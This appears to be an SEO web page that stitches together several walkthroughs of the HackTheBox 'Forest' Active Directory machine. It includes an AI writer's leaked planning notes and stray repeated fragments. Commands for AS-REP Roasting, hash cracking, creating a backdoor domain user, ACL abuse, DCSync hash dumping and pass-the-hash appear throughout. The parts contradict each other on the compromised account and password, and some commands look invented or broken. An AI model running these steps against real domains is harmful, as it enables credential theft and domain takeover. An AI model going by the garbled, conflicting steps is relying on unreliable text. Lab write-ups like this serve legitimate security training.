Forest HackTheBox Walkthrough: The Ultimate Active Directory Guide HackTheBox (HTB) Forest is an excellent, beginner-friendly Windows machine that serves as a fundamental introduction to Active Directory (AD) hacking. This walkthrough guides you through the entire exploitation process, from initial enumeration to Domain Admin privilege escalation. 📌 Attack Overview OS: Windows Difficulty: Easy Key Concepts: Active Directory enumeration, AS-REP Roasting, BloodHound analysis, Remote Management (WinRM), and ACL abuse. 🔍 Step 1: Initial Reconnaissance Start with an aggressive Nmap scan to discover open ports and running services. nmap -sC -sV -p- -T4 -oN forest_nmap.txt 10.10.10.161 Use code with caution. Key Ports Discovered 88 (Kerberos): Indicates an Active Directory environment. 135/139/445 (RPC/SMB): Useful for user enumeration and share scanning. 389 (LDAP): Crucial for harvesting domain architecture information. 5985 (WinRM): Potential initial access point via remote CLI. The scan reveals the internal domain name: HTB.LOCAL . 👥 Step 2: Active Directory Enumeration Because SMB null sessions are restricted, use rpcclient or enum4linux-ng to harvest valid domain usernames. rpcclient -U "" -N 10.10.10.161 rpcclient $> enumdomusers Use code with caution. Save the extracted usernames into a file named users.txt . You will notice several standard AD service accounts and unique usernames like sebastien , lucas , andy , and marko . 🏹 Step 3: Initial Access via AS-REP Roasting With a solid list of users, test for accounts that do not require Kerberos pre-authentication. This attack is known as AS-REP Roasting. Execute the attack using Impacket’s GetNPUsers.py : GetNPUsers.py htb.local/ -userfile users.txt -format john -outputfile hashes.txt -dc-ip 10.10.10.161 Use code with caution. Cracking the Hash The tool successfully retrieves a TGT hash for the user sebastien . Use John the Ripper or Hashcat to crack it against the rockyou.txt wordlist. john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt Use code with caution. Result Found: sebastien:EvilM0rd0r Establishing a Shell Log in remotely via WinRM using Evil-WinRM: evil-winrm -i 10.10.10.161 -u sebastien -p EvilM0rd0r Use code with caution. Grab the first flag at C:\Users\sebastien\Desktop\user.txt . 🩸 Step 4: Post-Exploitation & BloodHound Analysis To move from a standard user to Domain Admin, map out the active directory relationships using BloodHound. Collect Data: Upload and run SharpHound.exe via your WinRM session. powershell Invoke-Binary -Path ./SharpHound.exe -Method CheckIn Use code with caution. Download Zip: Transfer the generated zip file back to your attacking machine. Analyze: Import the dataset into the BloodHound GUI. Search for sebastien and set them as your starting node. Query for "Find Shortest Paths to High Privilege Targets." BloodHound reveals a clear path: sebastien belongs to the Service Accounts group. Service Accounts is a member of Privileged IT Accounts . Privileged IT Accounts is a member of Account Operators . The Account Operators group possesses generic write DACL privileges over the Exchange Windows Permissions group. 👑 Step 5: Privilege Escalation to Domain Admin Account Operators can create new users and add them to groups that are not protected by AdminSDHolder. 1. Create a Malicious User Inside your WinRM session, leverage your Account Operators status to create a new backdoor account. powershell net user hacker Password123! /add /domain Use code with caution. 2. Abuse Group Membership Add your new user to the Exchange Windows Permissions group. powershell net group "Exchange Windows Permissions" hacker /add /domain Use code with caution. 3. Write discretionary ACLs (DCSync Attack) The Exchange Windows Permissions group has the right to grant WriteDacl over the domain object. This allows us to grant our new user GetChangesAll privileges, enabling a DCSync attack. Execute this via PowerView or use Impacket's dacledit.py from your attack box: python3 dacledit.py -action allow -principal hacker -rights WriteDacl -target-dn "DC=HTB,DC=LOCAL" -dc-ip 10.10.10.161 htb.local/hacker:Password123! Use code with caution. 4. Execute DCSync to Dump Hashes With the permissions updated, perform a DCSync attack using Impacket’s secretsdump.py to extract the Administrator's NTLM hash directly from the Domain Controller. secretsdump.py htb.local/hacker:Password123!@10.10.10.161 -just-dc-user Administrator Use code with caution. 5. Pass-the-Hash for Root Access You do not need to crack the Administrator password. Use the extracted NTLM hash to authenticate instantly via Pass-the-Hash. evil-winrm -i 10.10.10.161 -u Administrator -H Use code with caution. You are now logged in as Domain Admin . Collect your final flag at C:\Users\Administrator\Desktop\root.txt . If you want to try similar challenges next, let me know.

The Forest machine on Hack The Box is an "Easy" rated Windows box designed to teach the fundamentals of Active Directory (AD) enumeration and exploitation . It is a classic entry point for learning techniques like AS-REP Roasting and BloodHound path analysis. Machine Overview Operating System : Windows Difficulty : Easy (though some rate it as "Bit Hard" for AD beginners) Key Skills : AD Enumeration, AS-REP Roasting, BloodHound, ACL Abuse, DCSync. Step-by-Step Walkthrough 1. Reconnaissance & Enumeration Start with an Nmap scan to identify open ports and services. Key Ports : 88 (Kerberos), 135 (RPC), 389/636 (LDAP), 445 (SMB), 5985 (WinRM). LDAP Enumeration : The machine often allows anonymous LDAP binds . Use tools like ldapsearch or enum4linux-ng to enumerate users and domain objects. SMB/RPC : Use rpcclient to enumerate users via a null session if LDAP is restricted. 2. Foothold: AS-REP Roasting During enumeration, you will find a list of domain users. One specific user (e.g., svc-alfresco ) typically has the "Do Not Require Kerberos Pre-authentication" property set. The Attack : Use Impacket's GetNPUsers.py to request a TGT for this user. Cracking : If successful, you will receive a hash. Use Hashcat or John the Ripper to crack the password offline. Access : Log in via Evil-WinRM using the cracked credentials to grab the user flag. 3. Privilege Escalation: ACL Abuse Once inside, you need to find a path to Domain Admin. BloodHound : Upload and run the BloodHound ingestor ( SharpHound.exe ) on the target. Export the data and analyze it on your attacking machine. The Vulnerability : Your user ( svc-alfresco ) is likely a member of the Account Operators group, which has permissions to create and modify users. Exploitation Path : Create a new user on the domain. Add that user to high-privilege groups like Exchange Windows Permissions . Use PowerView (a PowerSploit script) to grant your new user DCSync rights ( Add-DomainObjectAcl ). 4. Domain Compromise: DCSync With DCSync rights, you can impersonate a Domain Controller to request password hashes for any user. DCSync Attack : Use Impacket’s secretsdump.py with your new user's credentials to dump all domain hashes, including the Administrator NTLM hash. Pass-the-Hash : Log in as the Administrator using psexec.py or evil-winrm with the NTLM hash to claim the root flag. Expert Tips HackTheBox: Forest Walkthrough - Sanaullah Aman Korai

user wants a long article for the keyword "forest hackthebox walkthrough best". I need to provide a comprehensive walkthrough of the HackTheBox "Forest" machine. This will involve several steps: reconnaissance, enumeration, exploitation, privilege escalation, and capturing flags. I should search for detailed guides to incorporate into the article. I'll follow the plan outlined in the hint. search results are in. I need to open several of these to gather detailed information. I'll open result 0, result 1, result 3, result 4, result 5, result 0 from the second search, result 0 from the third, result 0 from the fourth, result 1 from the fourth, and result 3 from the fifth. have gathered a substantial amount of information from multiple sources. Now I need to synthesize this into a comprehensive article. The article will be structured as follows: introduction, reconnaissance, initial access (AS-REP roasting), privilege escalation (BloodHound and DCSync), post-exploitation and flags, and a conclusion. I will cite the sources appropriately. Now I will write the article. is one of HackTheBox’s most beloved Active Directory machines, and for good reason. It’s a fantastic playground for practicing core AD attacks like AS-REP Roasting, BloodHound analysis, and the powerful DCSync attack. This walkthrough will take you from the first nmap scan to capturing both the user and root flags, with a detailed explanation of the "why" behind every command. Let's get started. Reconnaissance: Scoping Out the Domain The very first step is to see what services are running on the target. A comprehensive nmap scan is the place to start: sudo nmap -p- --min-rate=10000 -oA allports -v <Forest_IP>

This quick scan reveals a handful of open ports. To get detailed service information on these, a focused scan is next: sudo nmap -p53,88,135,139,389,445,593,636,3269,5985,9389 -sC -sV -A <Forest_IP> forest hackthebox walkthrough best

The output should be similar to this: PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 9389/tcp open mc-nmf .NET Message Framing

Several key ports stand out: Kerberos on port 88, LDAP on 389, SMB on 445, and importantly, WinRM on 5985. The presence of Kerberos and LDAP strongly suggests that Forest is a Windows Domain Controller. Let's confirm the domain name htb.local and the hostname FOREST.htb.local . Once confirmed, add them to your /etc/hosts file: <Forest_IP> htb.local FOREST.htb.local FOREST

Initial Access: Cracking the Service Account with AS-REP Roasting Now that we know we're facing a domain controller, we need to find a way in. A great first step is to enumerate users and see if any have a dangerous misconfiguration. 1. Enumerating Domain Users With null session access sometimes available, we can use enum4linux to pull a list of domain users. rpcclient is a reliable alternative for this task. 2. The Attack: AS-REP Roasting Now that we have a list of potential usernames, we can test them for a vulnerability called "AS-REP Roasting". In Active Directory, some user accounts, especially service accounts, are configured with "Kerberos pre-authentication" disabled. This means an attacker can request an encrypted Ticket Granting Ticket (TGT) for that user without ever providing a password. The TGT is encrypted with the user's password hash, which we can then download and crack offline. We can leverage the impacket suite to perform this attack: impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt -format john 🔍 Step 1: Initial Reconnaissance Start with an

The output will contain a hash for any vulnerable accounts. If the output shows a hash for a user like svc-alfresco , we know we've found our target. Copy that hash into a file named hash.txt . 3. Cracking the Hash Now it's time to crack the hash offline. We'll use John the Ripper (or Hashcat) with the rockyou wordlist: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John will quickly crack the hash, revealing the password for the svc-alfresco service account. For this machine, the password is s3rvice . 4. Gaining a Foothold We have valid credentials and, luckily, WinRM is open on port 5985. We can use evil-winrm to get a remote shell on the machine: evil-winrm -i <Forest_IP> -u 'svc-alfresco' -p 's3rvice'

Once we're logged in, we can change directory to svc-alfresco 's desktop and grab the user flag : cd ../Desktop cat user.txt 135/139/445 (RPC/SMB): Useful for user enumeration and share

Privilege Escalation: Climbing to Domain Admin Now that we have a shell, our objective is to escalate from our low-privileged service account to a domain administrator. To find the path, we'll use BloodHound for in-depth analysis. 1. Collecting Data with SharpHound First, download SharpHound.exe or SharpHound.ps1 from the official BloodHound repository. Upload it to the target machine via our evil-winrm session and execute it: upload SharpHound.exe .\SharpHound.exe -c All

This will generate a zip file. Download this zip file back to our attacker machine using evil-winrm : download <YYYYMMDDHHMMSS_BloodHound.zip>
